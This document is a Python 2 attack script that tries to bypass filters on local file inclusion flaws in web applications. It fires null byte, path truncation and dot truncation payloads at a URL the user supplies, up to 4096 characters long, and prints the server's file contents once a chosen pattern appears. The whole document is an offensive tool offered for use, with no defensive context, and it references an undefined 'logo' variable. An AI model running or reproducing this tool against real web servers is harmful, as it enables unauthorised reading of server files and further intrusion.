LFI Bypassed

import urllib2
import sys
import threading
from sys import stdout
import sys

class Printer():
    """Print things to stdout on one line dynamically"""
    def __init__(self,data):
        sys.stdout.write("\r"+data.__str__())
        sys.stdout.flush()
def nullbyte(target, pattern):
    data = urllib2.urlopen(target + "%00").read()
    if pattern in data:
            print "LFI Bypassed Successfully !"
            print "---------------------------"
            print data
            sys.exit(1)
def pathtruncation(target, pattern):
    for length in range (1, 4097):
        output = "Trying With " + str(length) + " Characters"
        Printer(output)
        attack = '/.' * length
        data = urllib2.urlopen(target + attack).read()
        if pattern in data:
            print "\nLFI Bypassed Successfully !"
            print "Path CHARS : " + str(length)
            print "---------------------------"
            print data
            sys.exit(1)
def dottruncation(target, pattern):
    for length in range (1, 4097):
        output = "Trying With " + str(length) + " Characters"
        Printer(output)
        attack = '.' * length
        data = urllib2.urlopen(target + attack).read()
        if pattern in data:
            print "\nLFI Bypassed Successfully !"
            print "Dot CHARS : " + str(length)
            print "---------------------------"
            print data
            sys.exit(1)
print logo
print "Chose Bypass Method :"
print "1 ) Null Byte"
print "2 ) Path Truncation"
print "3 ) Dot Truncation"
chose = raw_input("Chose :")
if chose == "1":
   target = raw_input("target :")
   pattern = raw_input("pattern :")
   nullbyte(target, pattern)
if chose == "2":
   target = raw_input("target :")
   pattern = raw_input("pattern :")
   pathtruncation(target, pattern)
if chose == "3":
   target = raw_input("target :")
   pattern = raw_input("pattern :")
   dottruncation(target, pattern)